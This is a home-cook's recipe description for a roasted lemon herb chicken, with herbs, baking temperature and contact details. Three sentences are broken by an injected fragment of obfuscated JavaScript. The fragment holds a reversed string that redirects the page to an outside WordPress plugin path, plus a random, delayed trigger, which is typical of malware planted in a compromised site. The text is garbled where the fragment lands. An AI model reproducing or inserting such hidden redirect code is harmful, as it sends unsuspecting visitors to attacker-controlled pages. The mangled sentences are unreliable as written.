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Hey guys!! Tonight I’m going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to show you how toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make a delicious whole roasted lemon herb chicken. The skin is nice and crispy and the chicken is juicy and bursting with flavor. Enjoy!

I am using a 6 pound whole chicken

Spices and herbs used:

Fresh Thyme
Fresh Parsley
Fresh Rosemary
Minced garlic
Granulated garlic
Granulated onion
Italian Seasoning
Salt
Pepper
Sage
Paprika

Butter
Medium onion
2 Large lemons

Bake your chicken on 350 degrees (375 depending on oven) for 20 minutes per pound

Thanks for watching

camera: iPhone 7 plus
editing software: iMovie

Where toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to find me:

Email: Heyamouthful@gmail.com
Instagram: its_amouthful
Facebook: A Mouthful

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